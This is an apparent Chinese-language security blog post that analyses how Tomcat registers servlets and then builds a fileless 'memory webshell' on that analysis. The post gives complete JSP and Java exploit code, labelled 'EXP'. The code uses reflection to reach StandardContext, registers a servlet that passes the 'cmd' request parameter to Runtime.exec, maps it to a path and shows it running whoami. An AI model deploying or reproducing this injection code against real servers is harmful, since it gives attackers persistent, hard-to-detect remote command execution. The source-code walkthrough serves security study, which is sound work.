内存马系列--Servlet型

参考文章:

Servlet 创建

在之前 Java 内存马的基础篇里面提到过 Servlet,流程是 init() —-> doXXX —-> destory()

servlet是一个Java应用程序,运行在服务器端,用来处理客户端请求并作出响应的程序。servlet没有main方法不能独立运行,需要使用servlet容器比如tomcat来创建。当我们通过URL来访问servlet,首先会在servlet容器中判断该URL是由哪个servlet处理的,当前容器中是否有这个servlet实例,如果没有则创建servlet实例,并交由对应servlet的service方法来处理请求,处理结束后再返回web服务器。

  • 先看一下 Servlet 这个接口有哪些方法

    image-20260410164955778

    方法如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public interface Servlet {  
       void init(ServletConfig var1) throws ServletException; // init方法,创建好实例后会被立即调用,仅调用一次。  
      
       ServletConfig getServletConfig();//返回一个ServletConfig对象,其中包含这个servlet初始化和启动参数  
      
       void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException;  //每次调用该servlet都会执行service方法,service方法中实现了我们具体想要对请求的处理。  
      
       String getServletInfo();//返回有关servlet的信息,如作者、版本和版权.  
      
       void destroy();//只会在当前servlet所在的web被卸载的时候执行一次,释放servlet占用的资源  
    }

    从 Servlet 接口里面我们可以看得出来,我们的恶意代码应该放在 service() 方法里面

  • 创建恶意ServletTest

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    package Servlet;
    
    import javax.servlet.*;
    import javax.servlet.annotation.WebServlet;
    import java.io.IOException;
    
    // 基础恶意类
    public class ServletTest implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
    
        }
    
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
    
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
    
        @Override
        public String getServletInfo() {
            return null;
        }
    
        @Override
        public void destroy() {
    
        }
    }

    配置 web.xml,启动测试一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <servlet>
       <servlet-name>Servlet01</servlet-name>  <!-- Servlet 的名称 -->
       <servlet-class>ServletTest</servlet-class>  <!-- Servlet 的全类名 -->
     </servlet>
    
     <!-- 2. 映射 Servlet 到 URL -->
     <servlet-mapping>
       <servlet-name>Servlet01</servlet-name>  <!-- 上面定义的 servlet 名称 -->
       <url-pattern>/servlet</url-pattern>  <!-- URL 映射路径 -->
     </servlet-mapping>

    image-20260410165856239

Servlet 流程分析

据一些师傅说,servlet的流程分析比我们前面分析的 Filter 和 Listener 要复杂一些,我来看看怎么个事

因为 Web 应用程序的顺序是 Listener —-> Filter —-> Servlet,所以我们在调用 Servlet 的时候也会看到之前的 Listener 与 Filter 的流程。

  • 下断点在 service() 方法

    image-20260410172357660

    按理来说可以看到我们在调用 Servlet 的时候也会看到之前的 Listener 与 Filter 的流程。

    但是这里只有Filter 的,没看到Listener

    这是因为:

    Listener、Filter 和 Servlet 的执行顺序确实是 Listener -> Filter -> Servlet,但它们并不是像套娃一样一直嵌套在一起的。

    • Listener (如 ServletRequestListener):它的触发点是在请求刚到达 Tomcat,进入 ApplicationFilterChain 之前。它的 requestInitialized 方法被调用,处理完逻辑后就立即返回了。
    • Filter:它通过 internalDoFilter 形成了一个递归链条。当你代码运行到 Servlet 的 service 方法时,Filter 仍然在栈中,因为它在等待 Servlet 执行完后好执行“后置过滤”逻辑。
    • Servlet:它是链路的终点。

    简单说就说:Listener 并不是只在“进程”开始时触发,而是针对特定事件(如请求开始、会话创建)瞬时触发,是在 Filter 还没开始之前,就执行完退场了。Filter 包裹着最终的 Servlet。只有当 Filter 链中的 doFilter 被依次调用后,才会到达 Servlet。所以在Servlet调用链上可以看到Filter ,看不到Listener

现在开始我们从头分析,下断点到初始化init()

image-20260410174622008

web.xml传参

  • 断点位置是 ContextConfig#webConfig()

    读取 web.xml 的流程与 Listener 型内存马里面基本类似,但是还是有点不同。

    image-20260410175809588

  • 先获取到了此项目里面的 web.xml 文件

    image-20260410175937514

  • 看到configureContext(webXml)(中间的内容就是在查找项目中的所有web.xml配置)

    configureContext(webXml)正式转换成内存里活生生的对象

    image-20260410181335810

    跟进configureContext(一般来说 servlet 是在访问时才创建好的,这里先进行预加载)

    主要就是 configureContext() 方法也是先获取 Listener,Filter,还有 localeEncodingMappings 等,继续往下走,直到 1281 行这里,开始进行 Servlet 的读取。

    image-20260410182500726

  • 下面的部分就是关于Wrapper的

    在这里我们可以很清楚地看到Wrapper的初始化流程,首先调用创建了wrapper,然后调用set方法配置wrapper相关的属性,我们可以参考web.xml中需要配置的属性来推测wrapper的关键属性(即图中红框),需要留意的一个特殊属性是load-on-startup属性,它是一个启动优先级,后续再分析:

    image-20260410203841293

    必要的属性就是load-on-startup属性,name,RunAs和ServletClass

创建与装载 StandardWrapper

此处创建StandardWrapper就说我们刚刚说的下一句

1
Wrapper wrapper = context.createWrapper();

使用createWrapper();创建

  • 继续往下走,这里很明显,我们将所有的 servlets 保存到了 Wrapper 里面,如图。后面代码做的很大一部分工作都是在把 web.xml 里面的数据写到 StandardWrapper 里面

img

  • 继续往下看将 Wrapper 添加到 context 中,这里对应的是 StandardContext

    image-20260410183050991

  • 后面就是把 web.xml 中的内容装载进了 StandardWrapper 中。也就是 StandardWrapper 的装载

这里将所有的 servlets 保存到了 Wrapper 里面,而我们前面提到了servlets 写恶意代码,所以现在恶意代码到了Wrapper 里面,那 Wrapper 最后是放到哪里去的呢??

  • 上面我们也说了,是通过addChild()将Wrapper 放到了context里面

    context是StandardContext,Wrapper 是StandardWrapper

  • 跟进 addChild() 方法,这时候去到的是 StandardContext 类的 addChild() 方法,它判断这个 Servlet 是否是 JSP 的 Servlet

    image-20260410183749866

  • 接下来到了super.addChild(child);

    跟进到了它的父类,ContainerBase)(是一个抽象类)

    ContainerBase 类的 addChild() 方法判断了是否开启全局安全这个配置。

    image-20260410184036337

  • 继续往下,跟进到 addChildInternal() 方法里面

    image-20260410184243187

    提到一句 child.start();就是启动一个线程,在我们 Servlet 里面,也就是开启此 Servlet 的线程

  • 我们跟进去看 Servlet 的线程被启动之后做了什么事

    image-20260410184525718

    LifecycleBase 类的 start() 方法这里先是进行了一些基础的日志判断,后面肯定是会走到 init() 方法里面进去的,不可能刚开始 start 的一个 Servlet 直接就 stop

  • 再往后,有一个startInternal()

    image-20260410184655567

  • 跟进走到了 StandardContext#startInternal

    照 Server -> Service -> Engine -> Host -> Context 这顺序,先到StandardServert#startInternal,最后就到了StandardContext#startInternal

    image-20260410191607642

  • 向下走到了

    image-20260410191722850

    这个函数里面fireLifecycleEvent(),它主要做了一个解析 web.xml 的工作

    lifecycleListeners 是一个列表,里面存了好多“listener”。其中一个就是 **ContextConfig**。

    当循环走到 ContextConfig 时,它会调用 listener.lifecycleEvent(event)来解析 web.xml

    image-20260410191830231

  • 第一个走的就是ContextConfig

    image-20260410200417045

    进去看到

    image-20260410200523842

    进configureStart();

    image-20260410200720036

    接下来走webConfig()

    image-20260410200939892

    出现了configureContext(webXml)

    突然感觉这段代码好熟悉,细看和filter走的一样啊

    • Filter 是在调 context.addFilterDef()。
    • Servlet 是在调 context.addChild(wrapper)。
  • 再进configureContext

    image-20260410201628280

    就到了context.addChild(wrapper)

  • 在 addChild() 方法之后,调用 addServletMappingDecoded() 方法添加映射关系。

    将 url 路径和 servlet 类做映射。

    image-20260410202124078

    总的来说上面做的这些工作都是把 web.xml 里面的数据写到 StandardWrapper 里面

结合上面提到的两部分,servlet 的生成与动态添加依次进行了以下步骤

  • 通过 context.createWapper() 创建 Wapper 对象;
  • 设置 Servlet 的 LoadOnStartUp 的值;
  • 设置 Servlet 的 Name ;
  • 设置 Servlet 对应的 Class ;
  • 将 Servlet 添加到 context 的 children 中;
  • 将 url 路径和 servlet 类做映射。

加载 Servlets

上面我们提到特殊属性是load-on-startup属性,走到StandardContext#startInternal的时候,再次出现了这个特殊属性(load-on-startup 属性(默认为-1),该Servlet被动态添加到容器)

  • 我们当时在 StandardContext#startInternal 中,进了 fireLifecycleEvent() 方法,又做了一遍 StandardWrapper 装载的工作。

    所以这里我们重新回到 StandardContext#startInternal 中,从 fireLifecycleEvent() 方法往下走。

    继续往下走,无非是一些赋值,都不怎么重要,重要的地方在这里:

    image-20260412180122466

  • 跟进,进入到 loadOnStartup() 方法

image-20260412180338908

  • 下面看到对loadOnStartUp 这个属性进行了判断

    image-20260412180418989

    对于这个参数:

    在 servlet 的配置当中,<load-on-startup>1</load-on-startup> 的含义是: 标记容器是否在启动的时候就加载这个 servlet。
    当值为 0 或者大于 0 时,表示容器在应用启动时就加载这个 servlet;
    当是一个负数时或者没有指定时,则指示容器在该 servlet 被选择时才加载。

    正数的值越小,启动该 servlet 的优先级越高。

    这个东西就需要在web.xml里面配置

    这里对应的实际上就是 Tomcat Servlet 的懒加载机制。

    • 很明显这里 web.xml 的内容肯定不是我们可控的,所以必须要把恶意的 Servlet 放到最前面去加载。这是我们的一种思路
    • 如果不进行相关的操作,其实影响也不算大

编写 Servlet 内存马的 EXP(.jsp)

小结一下 Servlet 的工作流程

  • 获取到 HTTP 请求(和之前 Filter 流程分析是一样的)

  • 后面读取到 web.xml,并且在 WebConfig 方法里面还创建了一个 StandardWrapper,而我们的 Servlets 都会保存到这个 StandardWrapper 里面;

  • 后续这个 Wrapper 是放到 Context 里面去的

    “一个 Context 对应于一个 Web 应用,可以包含多个 Wrapper。”
    “一个 Wrapper 对应一个 Servlet。负责管理 Servlet”

  • 创建与加载完 StandardWrapper 之后,需要把加载的 Servlets 从 StandardWrapper 里面读取出来

    所以这里就到了我们最后的一个过程:加载 Servlets,对应有一个很重要的属性值 ———— loadOnStartUp

img

  1. 获取 StandardContext 对象
  2. 编写恶意 Servlet
  3. 通过 StandardContext.createWrapper() 创建StandardWrapper 对象
  4. 设置 StandardWrapper 对象的 loadOnStartup 属性值
  5. 设置 StandardWrapper 对象的 ServletName 属性值
  6. 设置 StandardWrapper 对象的 ServletClass 属性值
  7. 将 StandardWrapper 对象添加进 StandardContext 对象的 children 属性中
  8. 通过 StandardContext.addServletMappingDecoded() 添加对应的路径映射

获取 StandardContext 对象

1
2
3
4
5
<%   
	Field reqF = request.getClass().getDeclaredField("request");
	reqF.setAccessible(true);    Request req = (Request) reqF.get(request); 
	StandardContext standardContext = (StandardContext) req.getContext();
%>

或

1
2
3
4
5
6
7
8
9
<%   
	ServletContext servletContext = request.getSession().getServletContext();    
	Field appContextField = servletContext.getClass().getDeclaredField("context");    
	appContextField.setAccessible(true);    
	ApplicationContext applicationContext =(ApplicationContext)appContextField.get(servletContext);    
	Field standardContextField = applicationContext.getClass().getDeclaredField("context");
	standardContextField.setAccessible(true);    
	StandardContext standardContext =(StandardContext)standardContextField.get(applicationContext);
%>

编写恶意Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<%!
 
    public class Shell_Servlet implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    }
 
%>

创建Wrapper对象

1
2
3
4
5
6
7
8
9
10
<%
    Shell_Servlet shell_servlet = new Shell_Servlet();
    String name = shell_servlet.getClass().getSimpleName();
 
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(shell_servlet);
    wrapper.setServletClass(shell_servlet.getClass().getName());
%>

将 Wrapper 添加进 StandardContext

1
2
3
4
<%
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/shell",name);
%>

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
 
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
%>
 
<%!
 
    public class Shell_Servlet implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    }
 
%>
 
<%
    Shell_Servlet shell_servlet = new Shell_Servlet();
    String name = shell_servlet.getClass().getSimpleName();
 
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(shell_servlet);
    wrapper.setServletClass(shell_servlet.getClass().getName());
%>
 
<%
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/servletshell",name);
%>

Servlet 型的内存马无法使所有请求都经过恶意代码,只有访问我们设定的 url 才能触发

Servlet 型内存马的缺点就是必须要访问对应的路径才能命令执行,易被发现。

先访问 Servlet.jsp,完成内存马的注册

image-20260412214419679

接下来

http://localhost:8080/filter_war_exploded/Servlet.jsp?cmd=whoami

image-20260412214343321

而且idea里面也返回了

image-20260412214520492

编写 Servlet 内存马的 EXP(.java)

但是这个需要设置web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package tomcatShell.Servlet;  
  
import org.apache.catalina.Wrapper;  
import org.apache.catalina.connector.Request;  
import org.apache.catalina.core.StandardContext;  
  
import javax.servlet.*;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.BufferedReader;  
import java.io.IOException;  
import java.io.InputStream;  
import java.io.InputStreamReader;  
import java.lang.reflect.Field;  
  
public class ServletShell implements Servlet {  
    @Override  
 public void init(ServletConfig servletConfig) throws ServletException {  
  
    }  
  
    @Override  
 public ServletConfig getServletConfig() {  
        return null;  
 }  
  
    @Override  
 public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {  
        Field reqF = null;  
 try {  
            reqF = servletRequest.getClass().getDeclaredField("request");  
 } catch (NoSuchFieldException e) {  
            e.printStackTrace();  
 }  
        reqF.setAccessible(true);  
 Request req = null;  
 try {  
            req = (Request) reqF.get(servletRequest);  
 } catch (IllegalAccessException e) {  
            e.printStackTrace();  
 }  
        StandardContext standardContext = (StandardContext) req.getContext();  
  
 ServletShell servletShell = new ServletShell();  
 String name = servletShell.getClass().getSimpleName();  
  
 Wrapper wrapper = standardContext.createWrapper();  
 wrapper.setLoadOnStartup(1);  
 wrapper.setName(name);  
 wrapper.setServlet(servletShell);  
 wrapper.setServletClass(servletShell.getClass().getName());  
 standardContext.addChild(wrapper);  
 standardContext.addServletMappingDecoded("/shell",name);  
  
 String cmd = servletRequest.getParameter("cmd");  
 if (cmd !=null){  
            try{  
                Runtime.getRuntime().exec(cmd);  
 }catch (IOException e){  
                e.printStackTrace();  
 }catch (NullPointerException n){  
                n.printStackTrace();  
 }  
        }  
    }  
  
    @Override  
 public String getServletInfo() {  
        return null;  
 }  
  
    @Override  
 public void destroy() {  
  
    }  
  
    public synchronized HttpServletResponse getResponseFromRequest(HttpServletRequest var1) {  
        HttpServletResponse var2 = null;  
  
 try {  
            Field var3 = var1.getClass().getDeclaredField("response");  
 var3.setAccessible(true);  
 var2 = (HttpServletResponse)var3.get(var1);  
 } catch (Exception var8) {  
            try {  
                Field var4 = var1.getClass().getDeclaredField("request");  
 var4.setAccessible(true);  
 Object var5 = var4.get(var1);  
 Field var6 = var5.getClass().getDeclaredField("response");  
 var6.setAccessible(true);  
 var2 = (HttpServletResponse)var6.get(var5);  
 } catch (Exception var7) {  
            }  
        }  
  
        return var2;  
 }  
}

image-20260412215213659


内存马系列--Servlet型
http://example.com/2026/04/12/内存马系列--Servlet型/
作者
Piggy Sprint
发布于
2026年4月12日
许可协议